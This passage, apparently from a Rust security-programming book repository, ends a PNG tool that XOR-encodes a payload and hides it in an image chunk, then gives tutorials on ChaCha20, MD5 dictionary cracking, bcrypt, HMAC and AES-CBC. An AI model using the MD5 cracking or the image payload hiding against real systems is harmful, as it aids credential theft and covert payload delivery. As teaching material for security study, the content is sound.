= self.marshal_data(); 202 | w.write_all(&data).unwrap(); 203 | // Uncomment the following line to preserve the length of the image after manipulation 204 | // r.seek(SeekFrom::Current(data.len().try_into().unwrap())).expect("Error seeking to offset"); 205 | copy(r, &mut w).unwrap(); 206 | } else if c.decode { 207 | // Decoding specific operations 208 | buff.resize((offset - 16) as usize, 0); 209 | r.read_exact(&mut buff).unwrap(); 210 | w.write_all(&buff).unwrap(); 211 | let offset = self.get_offset(r); 212 | self.read_chunk(r); 213 | println!("Encoded Payload: {:?}", self.chk); 214 | let decoded_data = xor_encode_decode(&self.chk.data, &c.key); 215 | let decoded_string = String::from_utf8_lossy(&decoded_data); 216 | println!("Decoded Payload: {:?}", decoded_data); 217 | println!("Original Data: {:?}", decoded_string); 218 | r.seek(SeekFrom::Current(self.chk.data.len().try_into().unwrap())) 219 | .expect("Error seeking to offset"); 220 | copy(r, &mut w).unwrap(); 221 | } 222 | } 223 | } 224 | 225 | struct CmdArgs { 226 | input: String, 227 | output: String, 228 | meta: bool, 229 | suppress: bool, 230 | offset: String, 231 | inject: bool, 232 | payload: String, 233 | r#type: String, 234 | encode: bool, 235 | decode: bool, 236 | key: String, 237 | } 238 | 239 | impl CmdArgs { 240 | fn new(args: &[String]) -> Result { 241 | if args.len() < 5 { 242 | return Err("Not enough arguments. Usage: program input output offset payload"); 243 | } 244 | 245 | Ok(CmdArgs { 246 | input: args[1].clone(), 247 | output: args[2].clone(), 248 | meta: false, 249 | suppress: false, 250 | offset: args[3].clone(), 251 | inject: false, 252 | payload: args[4].clone(), 253 | r#type: String::from("PNG"), 254 | encode: args.contains(&String::from("encode")), 255 | decode: args.contains(&String::from("decode")), 256 | key: args[5].clone(), 257 | }) 258 | } 259 | } 260 | 261 | fn xor_encode_decode(input: &[u8], key: &str) -> Vec { 262 | let mut b_arr = Vec::with_capacity(input.len()); 263 | for (i, &byte) in input.iter().enumerate() { 264 | b_arr.push(byte ^ key.as_bytes()[i % key.len()]); 265 | } 266 | b_arr 267 | } 268 | 269 | fn main() { 270 | let args: Vec = env::args().collect(); 271 | 272 | let cmd_line_opts = match CmdArgs::new(&args) { 273 | Ok(opts) => opts, 274 | Err(err) => { 275 | eprintln!("Error: {}", err); 276 | return; 277 | } 278 | }; 279 | 280 | let mut file = File::open(&cmd_line_opts.input).expect("Error opening file"); 281 | 282 | let mut meta_chunk = MetaChunk::pre_process_image(&mut file).expect("Error processing image"); 283 | 284 | if cmd_line_opts.encode { 285 | let mut file_writer = File::create(&cmd_line_opts.output).unwrap(); 286 | // Assuming encoding is requested 287 | let encoded_data = xor_encode_decode(cmd_line_opts.payload.as_bytes(), &cmd_line_opts.key); 288 | println!("original bytes {:?}", cmd_line_opts.payload.as_bytes()); 289 | 290 | // Calculate CRC for the encoded data 291 | let mut bytes_msb = Vec::new(); 292 | bytes_msb 293 | .write_all(&meta_chunk.chk.r#type.to_be_bytes()) 294 | .unwrap(); 295 | bytes_msb.write_all(&encoded_data).unwrap(); 296 | let crc = crc32_little(meta_chunk.chk.crc, &bytes_msb); 297 | 298 | // Update the MetaChunk with the encoded data and CRC 299 | meta_chunk.chk.data = encoded_data; 300 | meta_chunk.chk.crc = crc; 301 | 302 | // Create a new mutable reference to file_reader 303 | let mut file_reader = &file; 304 | 305 | meta_chunk.write_data(&mut file_reader, &cmd_line_opts, &mut file_writer); 306 | 307 | println!("Image encoded and written successfully!"); 308 | } else if cmd_line_opts.decode { 309 | let mut file_writer = File::create(&cmd_line_opts.output).unwrap(); 310 | let mut file_reader = &file; 311 | meta_chunk.write_data(&mut file_reader, &cmd_line_opts, &mut file_writer); 312 | // meta_chunk.process_image(&mut file); 313 | } 314 | } 315 | -------------------------------------------------------------------------------- /chapter-3/README.md: -------------------------------------------------------------------------------- 1 | # Chapter 3: Rust's Cryptographic Strengths and Vulnerabilities 2 | 3 | ## Introduction 4 | 5 | In this chapter, our exploration into Rust's cryptographic landscape reveals a canvas of libraries and tools designed to strengthen digital communications. At the forefront stands the [`rustls`](https://github.com/rustls/rustls) library, a robust Rust implementation of TLS, which serves as the cornerstone for securing SSL/TLS communications. Configuring a secure server involves creating an instance of [`ServerConfig`](https://docs.rs/rustls/latest/rustls/server/struct.ServerConfig.html) and tailoring it to specific needs, such as cipher suite preferences and key management. Rust's type safety and expressive syntax contribute to a more resilient implementation, mitigating common pitfalls associated with memory safety. 6 | 7 | Beyond the SSL/TLS domain, Rust empowers us to tackle the complexities of [mutual authentication](https://en.wikipedia.org/wiki/Mutual_authentication) using the [`openssl`](https://en.wikipedia.org/wiki/OpenSSL) library. This involves crafting a secure handshake process where both client and server authenticate each other's identity through [X.509](https://en.wikipedia.org/wiki/X.509) certificates. Configuring an SSL acceptor involves loading server certificates and private keys while establishing trust relationships through [CA certificates](https://en.wikipedia.org/wiki/Certificate_authority). Rust's emphasis on [ownership](https://doc.rust-lang.org/book/ch04-00-understanding-ownership.html) and [lifetimes](https://doc.rust-lang.org/book/ch10-00-generics.html#generic-types-traits-and-lifetimes) ensures that [cryptographic keys](https://en.wikipedia.org/wiki/Key_(cryptography)) and sensitive data are managed securely throughout the authentication process, reducing the risk of memory leaks and unauthorized access. 8 | 9 | As we navigate Rust's cryptographic terrain, [symmetric-key cryptography](https://en.wikipedia.org/wiki/Symmetric-key_algorithm) emerges as a pivotal aspect, facilitated by libraries like [`crypto`](https://crates.io/crates/crypto). Our exploration takes us into the domain of [the Advanced Encryption Standard (AES)](https://en.wikipedia.org/wiki/Advanced_Encryption_Standard), where data [encryption](https://en.wikipedia.org/wiki/Encryption) and [decryption](https://en.wikipedia.org/wiki/Encryption) become intricate dances with key sizes and block modes. [Rust's focus on zero-cost abstractions](https://doc.rust-lang.org/beta/embedded-book/static-guarantees/zero-cost-abstractions.html) and performance ensures that cryptographic operations are executed efficiently, catering to the demands of secure data transmission. Leveraging Rust's [concurrency model](https://doc.rust-lang.org/book/ch16-00-concurrency.html), we can parallelize cryptographic tasks, enhancing throughput without compromising security. 10 | 11 | ## Table of Contents 12 | 13 | * [**Cryptography in Rust**](#1-cryptography-in-rust) 14 | * [**Encryption and Decryption**](#11-encryption-and-decryption) 15 | * [**Hashing**](#12-hashing) 16 | * [**Cracking MD5 Hashes**](#121-cracking-md5-hashes) 17 | * [**Implementing bcrypt**](#122-implementing-bcrypt) 18 | * [**Message Authentication**](#13-message-authentication) 19 | * [**Symmetric Encryption**](#14-symmetric-encryption) 20 | * [**Asymmetric Encryption**](#15-asymmetric-encryption) 21 | 22 | ## 1. Cryptography in Rust 23 | 24 | Before kicking off our exploration of cryptographic operations in Rust, it's essential to immerse ourselves in the fundamental concepts that make this complex field. We'll traverse these concepts meticulously to ensure a robust comprehension of the cryptographic landscape. 25 | 26 | ### 1.1 Encryption and Decryption 27 | 28 | [Encryption](https://en.wikipedia.org/wiki/Encryption), a part of cryptography, surpasses mere confidentiality maintenance. It represents a dual-purpose functionality, allowing data scrambling and subsequent unscrambling. At its core, encryption involves a cryptographic function, that takes both data and a key as inputs, yielding either ciphertext or the original cleartext. [Symmetric algorithms](https://en.wikipedia.org/wiki/Symmetric-key_algorithm) work with a single key for both encryption and decryption, while [asymmetric](https://en.wikipedia.org/wiki/Public-key_cryptography) counterparts work with different keys. 29 | 30 | At the heart of our cryptographic exploration lies [ChaCha20Poly1305](https://en.wikipedia.org/wiki/ChaCha20-Poly1305) using the [`chacha20poly1305`](https://docs.rs/chacha20poly1305/latest/chacha20poly1305/index.html) crate, a cipher notable for its simplicity and speed. The underlying [ChaCha20](https://en.wikipedia.org/wiki/Salsa20#ChaCha_variant) stream cipher, employing a blend of add, rotate, and XOR instructions (ARX), works seamlessly with the straightforward [Poly1305](https://en.wikipedia.org/wiki/Poly1305) hash function. While not universally endorsed by standards bodies like [NIST](https://en.wikipedia.org/wiki/National_Institute_of_Standards_and_Technology), ChaCha20Poly1305 is widely adopted, being mandatory in the [Transport Layer Security (TLS)](https://en.wikipedia.org/wiki/Transport_Layer_Security) protocol. 31 | 32 | ```rust 33 | use chacha20poly1305::{aead::{Aead, KeyInit, OsRng}, ChaCha20Poly1305, Nonce, AeadCore}; 34 | use base64::{Engine as _, engine::{self, general_purpose}, alphabet}; 35 | { 36 | let key = ChaCha20Poly1305::generate_key(&mut OsRng); 37 | let cipher = ChaCha20Poly1305::new(&key); 38 | let nonce = ChaCha20Poly1305::generate_nonce(&mut OsRng); 39 | let plaintext = "Hello, Rust Cryptography!"; 40 | 41 | // Encryption 42 | let ciphertext = cipher.encrypt(&nonce, plaintext.as_bytes())?; 43 | let b64_ciphertext = general_purpose::STANDARD.encode(&ciphertext); 44 | println!("Base64 Cipher Text: {}", b64_ciphertext); 45 | 46 | // Decryption 47 | let decrypted_text = cipher.decrypt(&nonce, &*ciphertext)?; 48 | println!("Decrypted Text: {}", String::from_utf8_lossy(&decrypted_text)); 49 | } 50 | ``` 51 | 52 | ```sh 53 | +---------------------------------------+ 54 | | ChaCha20Poly1305 | 55 | | | 56 | | +--------------+ | 57 | | | Generate | | 58 | | | Key | | 59 | | +--------------+ | 60 | | | | 61 | | V | 62 | | +--------------+ | 63 | | | Create | | 64 | | | Cipher | | 65 | | +--------------+ | 66 | | | | 67 | | V | 68 | | +--------------+ | 69 | | | Generate Non-| | 70 | | | ce | | 71 | | +--------------+ | 72 | | | | 73 | | V | 74 | | +--------------------------+ | 75 | | | Encrypt Plaintext | | 76 | | | using Key and Nonce | | 77 | | +--------------------------+ | 78 | | | | 79 | | V | 80 | | +--------------+ | 81 | | | Encode | | 82 | | | to Base64 | | 83 | | +--------------+ | 84 | | | | 85 | | V | 86 | | +---------------------------------+ | 87 | | | Print Base64 Ciphertext | | 88 | | +---------------------------------+ | 89 | | | | 90 | | V | 91 | | +---------------------------------+ | 92 | | | Decrypt Ciphertext | | 93 | | | using Key and Nonce (same as | | 94 | | | encryption phase) | | 95 | | +---------------------------------+ | 96 | | | | 97 | | V | 98 | | +---------------------------------+ | 99 | | | Print Decrypted Plaintext | | 100 | | +---------------------------------+ | 101 | +---------------------------------------+ 102 | ``` 103 | 104 | Encryption works like a protector for information moving from one place to another and a keeper of important data stored away. It waits to be unlocked for later use or carefully watched for any signs of deceitful actions. 105 | 106 | 107 | ```Rust 108 | :dep chacha20poly1305 = {version="0.10.1"} 109 | ``` 110 | 111 | 112 | ```Rust 113 | :dep base64 = {version="0.21.5"} 114 | ``` 115 | 116 | 117 | ```Rust 118 | use chacha20poly1305::{aead::{Aead, KeyInit, OsRng}, ChaCha20Poly1305, Nonce, AeadCore}; 119 | use base64::{Engine as _, engine::{self, general_purpose}, alphabet}; 120 | { 121 | let key = ChaCha20Poly1305::generate_key(&mut OsRng); 122 | let cipher = ChaCha20Poly1305::new(&key); 123 | let nonce = ChaCha20Poly1305::generate_nonce(&mut OsRng); 124 | let plaintext = "Hello, Rust Cryptography!"; 125 | 126 | // Encryption 127 | let ciphertext = cipher.encrypt(&nonce, plaintext.as_bytes())?; 128 | let b64_ciphertext = general_purpose::STANDARD.encode(&ciphertext); 129 | println!("Base64 Cipher Text: {}", b64_ciphertext); 130 | 131 | // Decryption 132 | let decrypted_text = cipher.decrypt(&nonce, &*ciphertext)?; 133 | println!("Decrypted Text: {}", String::from_utf8_lossy(&decrypted_text)); 134 | } 135 | ``` 136 | 137 | Base64 Cipher Text: lOE/Ps3i63+RU8iZcoGYABZOpUqDHqMoVGpF4jFk7w97FZPOXm7Ka4Y= 138 | Decrypted Text: Hello, Rust Cryptography! 139 | 140 | 141 | 142 | 143 | 144 | () 145 | 146 | 147 | 148 | Note that the coded message is printed as a string encoded in base64, and the decoded message is displayed as a standard UTF-8 string. 149 | 150 | ### 1.2 Hashing 151 | 152 | [Hashing](https://en.wikipedia.org/wiki/Hash_function) stands as a fundamental cryptographic process, operating as a unidirectional function meticulously crafted to produce a fixed-length and inherently unique output, all delegation upon a variable-length input. Its complex elegance lies in the irreversible nature of the transformation, blocking any possibility of figuring out the original input from the resultant hash value. This cryptographic technique finds its power in various scenarios, particularly those where the preservation of the original cleartext source becomes unnecessary for subsequent processing or to guarantee the integrity of data. An exemplary manifestation of secure practices within the domain of information protection is the storage of hashed passwords, a practice ideally complemented by the introduction of [salt](https://en.wikipedia.org/wiki/Salt_(cryptography)) - an additional layer of randomized data. This cryptographic seasoning enhances the unpredictability of the hash values, strengthening security and aligning with best practices in safeguarding sensitive information. 153 | 154 | In our exploration of hashing within the Rust programming language, we delve into two illustrative examples. The first demonstrates the cracking of MD5 hashes through an offline [dictionary attack](https://en.wikipedia.org/wiki/Dictionary_attack) using the [`md-5`](https://docs.rs/md-5) crate, employing Rust's capabilities to generate and compare hash values systematically. The second example showcases the implementation of [bcrypt](https://en.wikipedia.org/wiki/Bcrypt) using the [`bcrypt`](https://github.com/Keats/rust-bcrypt) crate, an advanced algorithm enhancing the security of sensitive data such as passwords. Rust's versatility shines as it seamlessly integrates these cryptographic techniques, emphasizing its adaptability in addressing diverse security challenges. 155 | 156 | #### 1.2.1 Cracking MD5 Hashes 157 | 158 | Let's examine the code for cracking MD5 hashes in Rust: 159 | 160 | ```rust 161 | use md5::{Md5, Digest}; 162 | use hex_literal::hex; 163 | 164 | let md5_hash = hex!("517e90f2a52e730701a5d7ec89ef0f40"); 165 | 166 | let wordlist = vec!["p@ssword231", "12345656789", "password", "Password", "Mahmoud123"]; 167 | 168 | for password in wordlist { 169 | let mut md5_hasher = Md5::new(); 170 | md5_hasher.update(password); 171 | let md5_generated = md5_hasher.finalize(); 172 | let md5_hex_string: String = md5_generated.iter().map(|byte| format!("{:02x}", byte)).collect(); 173 | 174 | println!("[INFO] Trying hash {:?}", md5_hex_string); 175 | if md5_generated[..] == md5_hash { 176 | println!("[INFO] Password found (MD5): {}", password); 177 | } 178 | } 179 | ``` 180 | 181 | ```sh 182 | +----------------------------------+ 183 | | MD5 Cracking | 184 | | | 185 | | +--------------+ | 186 | | | Provided | | 187 | | | MD5 Hash | | 188 | | +--------------+ | 189 | | | | 190 | | V | 191 | | +--------------+ | 192 | | | Create Vec | | 193 | | | of Passwords | | 194 | | +--------------+ | 195 | | | | 196 | | V | 197 | | +--------------+ | 198 | | | Iterate | | 199 | | | through | | 200 | | | Wordlist | | 201 | | +--------------+ | 202 | | | | 203 | | V | 204 | | +--------------+ | 205 | | | MD5 Hash | | 206 | | | Calculation | | 207 | | +--------------+ | 208 | | | | 209 | | V | 210 | | +--------------+ | 211 | | | Convert to | | 212 | | | Hex String | | 213 | | +--------------+ | 214 | | | | 215 | | V | 216 | | +--------------+ | 217 | | | Print MD5 | | 218 | | | Hash (Info) | | 219 | | +--------------+ | 220 | | | | 221 | | V | 222 | | +--------------+ | 223 | | | Compare with | | 224 | | | Provided Hash| | 225 | | +--------------+ | 226 | | | | 227 | | V | 228 | | +--------------+ | 229 | | | Print | | 230 | | | Password if | | 231 | | | Matched | | 232 | | +--------------+ | 233 | +----------------------------------+ 234 | ``` 235 | 236 | In this Rust example, we start by defining variable `md5_hash` that hold the target hash value. This hash were obtained post-exploitation, and the goal is to discover the cleartext passwords that produced it. The code reads from a vector of strings, generating MD5 hashes for each password and comparing them with the target hash. 237 | 238 | 239 | ```Rust 240 | :dep md-5 = {version="0.10.6"} 241 | ``` 242 | 243 | 244 | ```Rust 245 | :dep hex-literal = {version="0.4.1"} 246 | ``` 247 | 248 | 249 | ```Rust 250 | use md5::{Md5, Digest}; 251 | use hex_literal::hex; 252 | 253 | let md5_hash = hex!("517e90f2a52e730701a5d7ec89ef0f40"); 254 | 255 | let wordlist = vec!["p@ssword231", "12345656789", "password", "Password", "Mahmoud123"]; 256 | 257 | for password in wordlist { 258 | let mut md5_hasher = Md5::new(); 259 | md5_hasher.update(password); 260 | let md5_generated = md5_hasher.finalize(); 261 | let md5_hex_string: String = md5_generated.iter().map(|byte| format!("{:02x}", byte)).collect(); 262 | 263 | println!("[INFO] Trying hash {:?}", md5_hex_string); 264 | if md5_generated[..] == md5_hash { 265 | println!("[INFO] Password found (MD5): {}", password); 266 | } 267 | } 268 | ``` 269 | 270 | [INFO] Trying hash "ab2d83f72c018c04bda54551f7963e30" 271 | [INFO] Trying hash "576333879d388b3537287481aa07f7c6" 272 | [INFO] Trying hash "5f4dcc3b5aa765d61d8327deb882cf99" 273 | [INFO] Trying hash "dc647eb65e6711e155375218212b3964" 274 | [INFO] Trying hash "517e90f2a52e730701a5d7ec89ef0f40" 275 | [INFO] Password found (MD5): Mahmoud123 276 | 277 | 278 | 279 | 280 | 281 | () 282 | 283 | 284 | 285 | #### 1.2.2 Implementing bcrypt 286 | 287 | Now, let's explore how to use bcrypt to encrypt and authenticate passwords in Rust: 288 | 289 | ```rust 290 | use bcrypt::{DEFAULT_COST, hash, verify}; 291 | 292 | let stored_hash = "$2b$12$gPxgyRNV5G/DTaADM4rnuu3LcEbQeVdqhdNaKobgmdiNeyNRmV2me"; 293 | 294 | let password = "p@ssword123"; 295 | 296 | // Hash the password using bcrypt 297 | let hashed = hash(password, DEFAULT_COST)?; 298 | 299 | println!("Generated Hash: {}", hashed); 300 | 301 | // Verify the hashed password against the stored hash 302 | if verify(password, &stored_hash)? { 303 | println!("[INFO] Authentication successful"); 304 | } else { 305 | println!("[INFO] Authentication failed"); 306 | } 307 | ``` 308 | 309 | ```sh 310 | +------------------------------------+ 311 | | bcrypt | 312 | | | 313 | | +-----------------------+ | 314 | | | Hash Password | | 315 | | | | | 316 | | | +-----------------+ | | 317 | | | | Cost Generation| | | 318 | | | +-----------------+ | | 319 | | | | | | 320 | | | V | | 321 | | | +-----------------+ | | 322 | | | | Hash Function | | | 323 | | | | (bcrypt algorithm)|| | 324 | | | +-----------------+ | | 325 | | | | | | 326 | | | V | | 327 | | | +-----------------+ | | 328 | | | | Salt + Cost | | | 329 | | | +-----------------+ | | 330 | | | | | | 331 | | | V | | 332 | | | +-----------------+ | | 333 | | | | Generate Hash | | | 334 | | | +-----------------+ | | 335 | | | | | | 336 | | | V | | 337 | | +--------------------------+| | 338 | | | Print Generated || | 339 | | | Hash Value || | 340 | | +--------------------------+| | 341 | | | | | 342 | | V | | 343 | | +--------------------------+| | 344 | | | Verify Hashed Password || | 345 | | +--------------------------+| | 346 | | | | | 347 | | V | | 348 | | +--------------------------+| | 349 | | | Print Authentication Info|| | 350 | | +--------------------------+| | 351 | +------------------------------------+ 352 | 353 | ``` 354 | 355 | In this Rust example, we utilize the [`bcrypt`](https://docs.rs/bcrypt) crate to implement bcrypt hashing and authentication. The [`hash`](https://docs.rs/bcrypt/latest/bcrypt/fn.hash.html) function generates a bcrypt hash from a cleartext password, and [`verify`](https://docs.rs/bcrypt/latest/bcrypt/fn.verify.html) is used to compare the generated hash with a stored hash to authenticate the password. The cost factor ensures the algorithm's resource-intensive nature, enhancing security against brute-force attacks. 356 | 357 | 358 | ```Rust 359 | :dep bcrypt = {version="0.15.0"} 360 | ``` 361 | 362 | 363 | ```Rust 364 | use bcrypt::{DEFAULT_COST, hash, verify}; 365 | 366 | let stored_hash = "$2b$12$gPxgyRNV5G/DTaADM4rnuu3LcEbQeVdqhdNaKobgmdiNeyNRmV2me"; 367 | 368 | let password = "p@ssword123"; 369 | 370 | // Hash the password using bcrypt 371 | let hashed = hash(password, DEFAULT_COST)?; 372 | 373 | println!("Generated Hash: {}", hashed); 374 | 375 | // Verify the hashed password against the stored hash 376 | if verify(password, &stored_hash)? { 377 | println!("[INFO] Authentication successful"); 378 | } else { 379 | println!("[INFO] Authentication failed"); 380 | } 381 | ``` 382 | 383 | Generated Hash: $2b$12$TZj8KWVRZ2YarPsY8LdhA.hX3ezZIVjrgWA8y91EDypHVmTq/x.ES 384 | [INFO] Authentication successful 385 | 386 | 387 | 388 | 389 | 390 | () 391 | 392 | 393 | 394 | These Rust examples provide insights into the practical application of hashing and bcrypt in real-world scenarios. As we delve into Rust's cryptographic features, a deeper understanding of these concepts will empower your cryptographic journey. 395 | 396 | ### 1.3 Message Authentication 397 | 398 | When we exchange messages, we want to be certain that the data hasn't been altered during transmission by someone unauthorized. Additionally, we need to confirm that the message is genuinely from an authorized sender and not a forgery by another entity. To tackle these concerns, we can utilize the `ring` crate, which provides robust cryptographic functionalities. Specifically, we will employ the HMAC (Hash-based Message Authentication Code) algorithm, a widely accepted standard for ensuring message integrity and source authenticity. 399 | 400 | The HMAC algorithm involves a hashing function and a shared secret key known only to authorized parties. Attempting to forge a valid HMAC without possessing this shared secret becomes highly improbable. 401 | 402 | Implementing HMAC in Rust is straightforward with the `ring` crate. Let's explore an example that demonstrates how to achieve message authentication securely. 403 | 404 | ```rust 405 | use ring::hmac; 406 | use ring::rand::{SecureRandom, SystemRandom}; 407 | use ring::error::Unspecified; 408 | use ring::constant_time; 409 | use hex; 410 | 411 | const KEY_SIZE: usize = ring::digest::SHA256_OUTPUT_LEN; 412 | const MESSAGE: &str = "Attach at 12:30"; 413 | 414 | fn generate_key(rng: &SystemRandom) -> Result { 415 | let mut key_value = [0u8; KEY_SIZE]; 416 | rng.fill(&mut key_value)?; 417 | Ok(hmac::Key::new(hmac::HMAC_SHA256, &key_value)) 418 | } 419 | 420 | fn generate_hmac(key: &hmac::Key, message: &[u8]) -> hmac::Tag { 421 | hmac::sign(key, message) 422 | } 423 | 424 | fn verify_hmac(key: &hmac::Key, message: &[u8], received_tag: &[u8]) -> Result<(), Unspecified> { 425 | let calculated_tag = generate_hmac(key, message); 426 | constant_time::verify_slices_are_equal(calculated_tag.as_ref(), received_tag) 427 | } 428 | 429 | let rng = SystemRandom::new(); 430 | 431 | // Sender side 432 | let key = generate_key(&rng).expect("Failed to generate key"); 433 | let tag = generate_hmac(&key, MESSAGE.as_bytes()); 434 | 435 | // Simulate transmission (In a real implementation, this would be sent over the network) 436 | 437 | // Receiver side 438 | let received_tag_hex = "69d2c7b6fbbfcaeb72a3172f4662601d1f16acfb46339639ac8c10c8da64631d"; 439 | let received_tag = hex::decode(received_tag_hex).expect("Failed to decode received tag"); 440 | 441 | match verify_hmac(&key, MESSAGE.as_bytes(), &received_tag) { 442 | Ok(()) => println!("[INFO] Message is authentic"), 443 | Err(_) => println!("[INFO] Message may be tampered"), 444 | } 445 | ``` 446 | 447 | ```sh 448 | +----------------------+ 449 | | Sender | 450 | +----------------------+ 451 | | 452 | V 453 | +----------------------+ 454 | | Generate Key | 455 | | using SystemRandom | 456 | +----------------------+ 457 | | 458 | V 459 | +----------------------+ 460 | | Generate HMAC | 461 | | using Key and | 462 | | Message | 463 | +----------------------+ 464 | | 465 | V 466 | +----------------------+ 467 | | Transmit Message | 468 | | and HMAC (simulate | 469 | | network transfer) | 470 | +----------------------+ 471 | | 472 | V 473 | +----------------------+ 474 | | Receiver | 475 | +----------------------+ 476 | | 477 | V 478 | +----------------------+ 479 | | Decode Received | 480 | | HMAC from Hex | 481 | +----------------------+ 482 | | 483 | V 484 | +----------------------+ 485 | | Verify HMAC | 486 | | using Key and | 487 | | Received HMAC | 488 | +----------------------+ 489 | | 490 | V 491 | +----------------------+ 492 | | Print Result | 493 | | (Authentic/Tampered)| 494 | +----------------------+ 495 | ``` 496 | 497 | In this Rust example, the `key` variable represents the shared secret key. In a real-world scenario, this key would be securely managed and shared between authorized endpoints. 498 | 499 | The `verify_hmac` function takes a key, a message, and the received HMAC as parameters. It calculates the HMAC using the `ring` crate and compares it in constant time to mitigate timing attacks. The subsequent statements simulate the reception of a message, decoding the received HMAC from a hex string. 500 | 501 | By employing Rust's `ring` crate, we ensure a secure and efficient implementation of HMAC for message authentication, addressing concerns related to data tampering and source legitimacy. This example simplifies the process for clarity, focusing solely on HMAC functionality without incorporating network communication aspects. 502 | 503 | 504 | ```Rust 505 | :dep ring = {version = "0.17.7"} 506 | ``` 507 | 508 | 509 | ```Rust 510 | :dep hex = {version = "0.4.3"} 511 | ``` 512 | 513 | 514 | ```Rust 515 | use ring::hmac; 516 | use ring::rand::{SecureRandom, SystemRandom}; 517 | use ring::error::Unspecified; 518 | use ring::constant_time; 519 | use hex; 520 | 521 | const KEY_SIZE: usize = ring::digest::SHA256_OUTPUT_LEN; 522 | const MESSAGE: &str = "Attach at 12:30"; 523 | 524 | fn generate_key(rng: &SystemRandom) -> Result { 525 | let mut key_value = [0u8; KEY_SIZE]; 526 | rng.fill(&mut key_value)?; 527 | Ok(hmac::Key::new(hmac::HMAC_SHA256, &key_value)) 528 | } 529 | 530 | fn generate_hmac(key: &hmac::Key, message: &[u8]) -> hmac::Tag { 531 | hmac::sign(key, message) 532 | } 533 | 534 | fn verify_hmac(key: &hmac::Key, message: &[u8], received_tag: &[u8]) -> Result<(), Unspecified> { 535 | let calculated_tag = generate_hmac(key, message); 536 | constant_time::verify_slices_are_equal(calculated_tag.as_ref(), received_tag) 537 | } 538 | 539 | let rng = SystemRandom::new(); 540 | 541 | // Sender side 542 | let key = generate_key(&rng).expect("Failed to generate key"); 543 | let tag = generate_hmac(&key, MESSAGE.as_bytes()); 544 | 545 | // Simulate transmission (In a real implementation, this would be sent over the network) 546 | 547 | // Receiver side 548 | let received_tag_hex = "69d2c7b6fbbfcaeb72a3172f4662601d1f16acfb46339639ac8c10c8da64631d"; 549 | let received_tag = hex::decode(received_tag_hex).expect("Failed to decode received tag"); 550 | 551 | match verify_hmac(&key, MESSAGE.as_bytes(), &received_tag) { 552 | Ok(()) => println!("[INFO] Message is authentic"), 553 | Err(_) => println!("[INFO] Message may be tampered"), 554 | } 555 | ``` 556 | 557 | [INFO] Message may be tampered 558 | 559 | 560 | 561 | 562 | 563 | () 564 | 565 | 566 | 567 | ### 1.4 Symmetric Encryption 568 | 569 | In the realm of Rust development, we embark on a journey into the world of encryption, focusing our attention on the foundational concept of [symmetric-key encryption](https://en.wikipedia.org/wiki/Symmetric-key_algorithm). This cryptographic approach employs a single secret key for both the encryption and decryption processes. Rust, with its robust ecosystem, facilitates the implementation of symmetric cryptography by supporting a variety of common algorithms within its default or extended packages. 570 | 571 | Let's delve into a practical example within the Rust paradigm. Picture a scenario where a breach has occurred in an organization, granting access to an e-commerce web server and its backend database housing encrypted financial transactions. The encryption algorithm in play is the Advanced Encryption Standard (AES), specifically operating in Cipher Block Chaining (CBC) mode. The following Rust code snippet illustrates two functions responsible for encrypting and decrypting credit card information encrypted using AES in CBC mode. 572 | 573 | ```rust 574 | use aes::cipher::{block_padding::Pkcs7, BlockDecryptMut, BlockEncryptMut, KeyIvInit}; 575 | use cbc::{Encryptor, Decryptor}; 576 | use hex_literal::hex; 577 | 578 | type Aes128CbcEnc = Encryptor; 579 | type Aes128CbcDec = Decryptor; 580 | 581 | fn encrypt_cbc(key: &[u8], iv: &[u8], plaintext: &[u8]) -> Vec { 582 | let mut buf = Vec::from(plaintext); 583 | let cipher = Aes128CbcEnc::new(key.into(), iv.into()); 584 | cipher.encrypt_padded_vec_mut::(&mut buf) 585 | } 586 | 587 | fn decrypt_cbc(key: &[u8], iv: &[u8], ciphertext: &[u8]) -> Vec { 588 | let mut buf = Vec::from(ciphertext); 589 | let cipher = Aes128CbcDec::new(key.into(), iv.into()); 590 | cipher.decrypt_padded_vec_mut::(&mut buf).unwrap() 591 | } 592 | 593 | let key = [0x42; 16]; 594 | let iv = [0x24; 16]; 595 | let plaintext = *b"Hello, World!"; 596 | 597 | // Encrypt 598 | let ciphertext = encrypt_cbc(&key, &iv, &plaintext); 599 | println!("Encrypted Text: {:?}\n", String::from_utf8_lossy(&ciphertext)); 600 | 601 | // Decrypt 602 | let decrypted_text = decrypt_cbc(&key, &iv, &ciphertext); 603 | println!("Decrypted Text: {:?}", String::from_utf8_lossy(&decrypted_text)); 604 | ``` 605 | 606 | ```sh 607 | +-------------------------------+ 608 | | | 609 | | Key and IV Initialization | 610 | | | 611 | +-------------------------------+ 612 | | 613 | v 614 | +--------------+ 615 | | | 616 | | Encrypt CBC | 617 | | | 618 | +--------------+ 619 | | 620 | v 621 | +---------------------------+ 622 | | | 623 | | Encrypt Process | 624 | | | 625 | | | 626 | | Input: Plaintext | 627 | | | 628 | +---------------------------+ 629 | | 630 | v 631 | +---------------------------+ 632 | | | 633 | | Pkcs7 Padding | 634 | | | 635 | | Output: Ciphertext | 636 | | | 637 | +---------------------------+ 638 | | 639 | v 640 | +---------------------------+ 641 | | | 642 | | Encrypted Text Output | 643 | | | 644 | +---------------------------+ 645 | | 646 | v 647 | +--------------+ 648 | | | 649 | | Print | 650 | | Encrypted | 651 | | Text | 652 | +--------------+ 653 | | 654 | v 655 | +-------------------------------+ 656 | | | 657 | | Decrypt CBC | 658 | | | 659 | +-------------------------------+ 660 | | 661 | v 662 | +---------------------------+ 663 | | | 664 | | Decrypt Process | 665 | | | 666 | | | 667 | | Input: Ciphertext | 668 | | | 669 | +---------------------------+ 670 | | 671 | v 672 | +---------------------------+ 673 | | | 674 | | Pkcs7 Padding | 675 | | | 676 | | Output: Decrypted Text | 677 | | | 678 | +---------------------------+ 679 | | 680 | v 681 | +---------------------------+ 682 | | | 683 | | Decrypted Text Output | 684 | | | 685 | +---------------------------+ 686 | | 687 | v 688 | +--------------+ 689 | | | 690 | | Print | 691 | | Decrypted | 692 | | Text | 693 | +--------------+ 694 | ``` 695 | 696 | This code snippet features two functions: `encrypt_cbc` for encryption and `decrypt` for decryption. The code validates the integrity of the ciphertext and proceeds with the decryption process, considering the nuances of CBC mode and ensuring proper padding removal. 697 | 698 | In Rust, as in any language, such cryptographic implementations demand attention to detail. The `decrypt_padded_vec_mut` function assumes certain conditions that warrant explicit validation in a real-world scenario. The `decrypt` function, the heart of the operation, orchestrates the decryption process, ensuring adherence to AES specifications in CBC mode. 699 | 700 | Understanding symmetric-key encryption proves invaluable in penetration testing scenarios, where knowledge of algorithms and modes can enhance success. Rust, with its syntax and constructs, empowers developers to navigate the intricacies of 